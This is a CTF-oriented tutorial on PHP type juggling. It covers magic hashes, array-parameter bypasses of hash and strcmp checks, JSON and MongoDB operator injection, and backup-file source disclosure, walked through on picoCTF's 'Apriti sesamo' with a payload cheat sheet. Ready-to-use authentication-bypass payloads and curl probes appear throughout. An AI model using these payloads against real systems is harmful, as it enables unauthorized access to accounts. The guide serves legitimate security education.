Introduction
If a PHP login compares two hashes and you cannot guess the password, try sending the fields as arrays:
# Instead of username=admin&pwd=hunter2curl -X POST -d 'username[]=a&pwd[]=b' http://target:1337/impossibleLogin.php
On a PHP 7 target that runs sha1($username) === sha1($pwd), both calls return null, null === null is true, the raw values still differ so the "you must not send the same thing twice" guard also passes, and the flag comes back. That is Apriti sesamo from picoCTF 2025 in one request.
PHP's comparison operator was designed to be forgiving about types. Authentication is the one place in a program where forgiveness is a vulnerability.
Here is the thing that makes this topic worth a full guide rather than a cheat sheet line, and it is the thing almost every tutorial on the internet gets wrong: PHP 8 changed the rules. Published in November 2020, the saner string to number comparisons RFC quietly killed roughly half of the classic tricks. If you learned this from a 2016 blog post, you know a set of payloads that fail silently on a modern target and you will have no idea why. So the useful skill in 2026 is not the payload list. It is being able to tell which PHP version you are standing on, and which half of the list still applies.
Which half of this applies to you
| You want | Read |
|---|---|
| Payloads to paste | Quick reference |
| Your payload worked in a writeup and not for you | What PHP 8 broke |
| To read PHP source and see the bug | Top to bottom. Roughly fifteen minutes |
Why == lies
PHP has two equality operators and they do different jobs. === asks whether two values are the same type and the same content. == asks whether they could be made equal by converting one of them, and then converts it without telling you.
The conversion rules are documented in a table on the comparison operators page, and the entry that matters is the one for a number compared against a string. Before PHP 8, the string was converted to a number. Any string that did not start with digits converted to 0, which is how 0 == "admin" ended up being true for fifteen years.
// PHP 7 PHP 80 == "admin" // true false <- the big one0 == "" // true false0 == null // true true"1" == "01" // true true <- both numeric, still numeric compare"10" == "1e1" // true true <- scientific notation is numeric100 == "1e2" // true true"abc" == 0 // true falsenull == false // true true[] == false // true true
Read the right-hand column carefully, because the survivors are the interesting part. PHP 8 did not make == strict. It changed one rule: when a number is compared to a non-numeric string, the number is now converted to a string instead of the other way round. Two strings that both look like numbers are still compared as numbers, in every version, and that surviving rule is the one magic hashes depend on.
"0e123" == "0e456" is true today, in PHP 8.4, because both parse as zero in scientific notation. Every "magic hash" attack rides on that single line of the specification.What PHP 8 broke
Before you spend an hour on a payload, work out which side of the PHP 8 line the target is on. It changes what you should even try.
| Trick | PHP 7 | PHP 8 | Why |
|---|---|---|---|
0 == "password" | Works | Dead | Non-numeric strings no longer become 0 |
in_array("abc", [0,1,2]) | true | false | Loose in_array uses the same comparison |
switch("abc") hitting case 0 | Matches | Does not | switch is loose comparison in a costume |
Magic hash, md5($a) == md5($b) | Works | Still works | Both sides are numeric-looking strings |
Array into md5() or strcmp() | Returns null | Throws TypeError | Internal functions got real parameter types |
The array row is the useful one for fingerprinting, and it is a free oracle. Send an array where the app expects a string. On PHP 7 you get a warning at most and the app keeps going, usually with a null. On PHP 8 you get an uncaught TypeError, which normally means a blank page or a 500. So the response to one malformed request tells you which half of this guide applies.
# The version oracle, one requestcurl -s -o /dev/null -w '%{http_code}\n' -d 'user[]=a&pass=b' http://target/login.php# 200 and a normal page -> PHP 7 behaviour, array tricks live# 500 or a blank body -> PHP 8 TypeError, use magic hashes instead# Confirm from headers when the server is chattycurl -sI http://target/ | grep -i '^x-powered-by'
X-Powered-By, the presence of phpinfo.php, or a deliberately broken request that produces a stack trace. Recon technique for exactly this lives in web recon for CTF.Magic hashes
A magic hash is an input whose hash output happens to start with 0e followed by nothing but digits. PHP reads that as scientific notation for zero. Two different passwords whose hashes both look like that compare as equal under ==, because zero equals zero.
md5("240610708") = 0e462097431906509019562988736854md5("QNKCDZO") = 0e830400451993494058024219903391md5("aabg7XSs") = 0e087386482136013740957780965295sha1("10932435112") = 0e07766915004133176347055865026311692244sha1("aaroZmOk") = 0e66507019969427134894567494305185566735// therefore, in every version of PHP including 8.4:md5("240610708") == md5("QNKCDZO") // true
The vulnerable code looks like this, and it is depressingly common in challenge sources because it reads like a security measure:
$stored = '0e830400451993494058024219903391'; // md5 of the real passwordif (md5($_POST['password']) == $stored) { // == not ===grant_flag();}// send password=240610708 and you are in, without ever knowing the password
You can generate your own in about six lines, which is worth doing once so the technique stops feeling like a memorised constant:
import hashlib, itertools, stringdef is_magic(h):return h[:2] == '0e' and h[2:].isdigit()for n in itertools.count():if is_magic(hashlib.md5(str(n).encode()).hexdigest()):print(n); break # 240610708 falls out in a few seconds
==. If the source says ===, stop and go look for the array trick instead, because strict comparison checks the type before it compares the value and two different strings are never strictly equal. Working out which hash algorithm you are even up against is the job of the hash identifier, and cracking the real password when neither trick applies is hash cracking.The array trick
PHP builds $_GET and $_POST from the query string, and the bracket syntax makes a value an array. That is a normal feature for multi-select forms. It is also a way to hand a completely unexpected type to a function that was written assuming a string.
user=admin -> $_POST['user'] === 'admin' (string)user[]=admin -> $_POST['user'] === ['admin'] (array)user[x]=admin -> $_POST['user'] === ['x' => 'admin']
On PHP 7, feeding that array into a string function returns null and emits a warning that nobody sees. Three functions matter:
| Called with an array | PHP 7 returns | The bypass it enables |
|---|---|---|
| md5($a), sha1($a) | null | Two null results satisfy ===, which magic hashes cannot |
| strcmp($a, $b) | null | strcmp(...) == 0 passes, the standard "passwords match" test |
| preg_match($re, $a) | false | A blocklist regex never matches, so nothing gets filtered |
The strcmp one is worth pausing on because the vulnerable code is the version most people would call correct:
if (strcmp($_POST['password'], $real_password) == 0) {grant_flag();}// strcmp returns null when given an array; null == 0 is true// password[]=anything
TypeError instead, and you get an error page rather than a bypass. That is not a dead end though. An uncaught TypeError often prints a full stack trace including absolute paths, which is a free source disclosure and sometimes worth more than the bypass would have been.Where === does not save you
It is tempting to read === and move on. Do not, because several PHP constructs perform loose comparison without an == anywhere in sight.
| Construct | Comparison it performs | How to make it strict |
|---|---|---|
| switch ($x) | Loose, always. There is no strict switch | Rewrite as if/elseif with === |
| in_array($n, $a) | Loose by default | in_array($n, $a, true) |
| array_search($n, $a) | Loose by default | array_search($n, $a, true) |
| array_keys($a, $v) | Loose by default | Pass true as the third argument |
| $a == $b | Recursive loose compare on arrays | === also checks key order and types |
There is one more, and it is the reason JSON endpoints are worth a second look. When an app calls json_decode($body, true), the types in the resulting array come from the JSON document, not from PHP's string parsing. You can send a real integer, a real boolean, or a real null into code that has only ever seen strings from a form.
# Form-encoded: everything arrives as a stringcurl -d 'admin=0' http://target/api # $_POST['admin'] === "0"# JSON: you choose the typecurl -H 'Content-Type: application/json' -d '{"admin": true}' http://target/apicurl -H 'Content-Type: application/json' -d '{"token": null}' http://target/apicurl -H 'Content-Type: application/json' -d '{"id": 0}' http://target/api
A comparison like $data['token'] == $stored_token against a null you supplied behaves very differently from the same comparison against the string "null". This is the single most productive thing to try on a modern PHP challenge that has a JSON API, precisely because PHP 8 closed the older doors and left this one open.
A worked bypass
Apriti sesamo is worth walking end to end because the bug is not the first thing you find. The first thing you find is a login that cannot be beaten, and a backup file the developer left behind.
# 1. Emacs leaves a tilde-suffixed backup. So do vim (.swp) and editors (.bak, .old).curl -o src.php http://target:1337/impossibleLogin.php~# 2. Read it. The constants are base64, which is obfuscation, not encryption.grep -oE 'base64_decode\(.[A-Za-z0-9+/=]+.\)' src.phpecho 'dXNlcm5hbWU=' | base64 -d # username# 3. The gate, once decoded:# sha1($username) === sha1($pwd) && $username !== $pwd
Now look at what that condition demands. Two inputs whose hashes are strictly equal, and whose raw values are strictly different. If both are strings, that is a SHA-1 collision, which is expensive and which is what the challenge name is teasing you about. If both are arrays, sha1() returns null twice, null is strictly equal to null, and two arrays containing different elements are not identical. The condition is satisfied without any cryptography at all.
curl -X POST -d 'username[]=a&pwd[]=b' http://target:1337/impossibleLogin.php# -> picoCTF{...}
Getting the source in the first place is its own lesson. Backup and swap files are the highest-yield thing to check on any PHP challenge, and the list is short enough to try by hand:
for suffix in '~' '.bak' '.old' '.save' '.swp' '.orig' '.php.txt'; docurl -s -o /dev/null -w "%{http_code} index.php$suffix\n" \"http://target/index.php$suffix"done# vim swap files are binary; recover the original with:vim -r index.php.swp
The same bug in other languages
PHP gets the reputation, but weak comparison is a language design choice rather than a PHP defect, and the same shape shows up elsewhere. Recognising it is worth more than the PHP payloads.
| Language | The weak comparison | CTF-relevant effect |
|---|---|---|
| JavaScript | == coerces, so 0 == "" and [] == false are both true | Client-side auth checks and comparisons in Node backends fall to the same inputs. The same table, pushed all the way, is what makes JSFuck possible |
| MongoDB query language | A JSON object where a string was expected becomes an operator | {"pass": {"$ne": null}} is the array trick with different syntax |
| Python | == does not coerce across types, but 1 == True and 0 == False hold | Dictionary keys collide: {1: "a", True: "b"} has one entry |
| YAML and JSON parsers | Unquoted no, on, 1.0 become typed values | Config-driven access checks flip on a value the author read as text |
The MongoDB row is the one to internalise. Sending {"username": "admin", "password": {"$ne": ""}} to a Node and Mongo login is exactly the same move as pwd[]=b against PHP: hand the comparison a structure where it expected a scalar and let the framework do something helpful with it. Full treatment in NoSQL injection for CTF.
picoCTF challenges
| Challenge | What it teaches | Technique |
|---|---|---|
| Apriti sesamo | An Emacs backup exposes the source, then arrays defeat a strict hash comparison | Array into sha1() |
| Super Serial | PHP object injection through unserialize, reached via the same backup-file recon | Deserialization |
| No Sql Injection | The same "send a structure, not a scalar" move against MongoDB | Operator injection |
Super Serial belongs on this list even though its bug is deserialization rather than comparison, because the recon step is identical and because PHP object injection is where type confusion stops being about operators and starts being about entire objects. That path continues in insecure deserialization, and the category ladder is in the web exploitation roadmap.
Quick reference
# Fingerprint the version firstcurl -sI http://t/ | grep -i x-powered-bycurl -d 'user[]=a&pass=b' http://t/login.php # 500 => PHP 8, 200 => PHP 7# Loose comparison (==), any PHP versionpassword=240610708 # md5 magic hash, pairs with QNKCDZOpassword=10932435112 # sha1 magic hash, pairs with aaroZmOkpassword=0e1137126905 # magic hash whose md5 is also magic# Strict comparison (===), PHP 7 onlyuser[]=a&pass[]=b # hash functions return null, null === nullpassword[]=x # strcmp returns null, null == 0# JSON endpoints, any version{"admin": true} {"token": null} {"id": 0}# Find the source before guessing the operatorcurl http://t/index.php~ .bak .old .save .swp .orig# Loose comparison hiding in plain sightswitch() in_array($x,$a) array_search() array_keys($a,$v)
Related reading: authentication bypass and IDOR for the rest of the broken-access-control family, NoSQL injection for the same trick against MongoDB, insecure deserialization for where PHP object injection goes, web recon for finding the backup file, and hash cracking for when the comparison is actually strict and you need the real password.
Sources and further reading
Every behaviour above is specified in the PHP manual or in the RFC that changed it. The hash values were recomputed rather than copied from a list.
- The comparison operators page carries the conversion table this whole guide is a reading of. The row for "string compared with string" is the one that keeps magic hashes alive, and it is worth reading in the manual rather than taking my word for it.
- The saner string to number comparisons RFC is the document that killed
0 == "admin". Its own motivation section opens with the security argument, which makes it unusually readable for an RFC. Pair it with the PHP 8.0 backward incompatible changes list, whose own table shows0 == "foo"and0 == ""flipping from true to false, and with the consistent type errors RFC, which is the one that turned a warning-and-null into a TypeError for internal functions and so decided which half of the array trick survives. - strcmp and in_array both document the behaviour the bypasses rely on, in_array explicitly noting that the third parameter is what makes the search strict.
- The type juggling page explains the conversion model from the language side rather than the operator side, which is the better mental model once you start reading unfamiliar PHP source under time pressure.
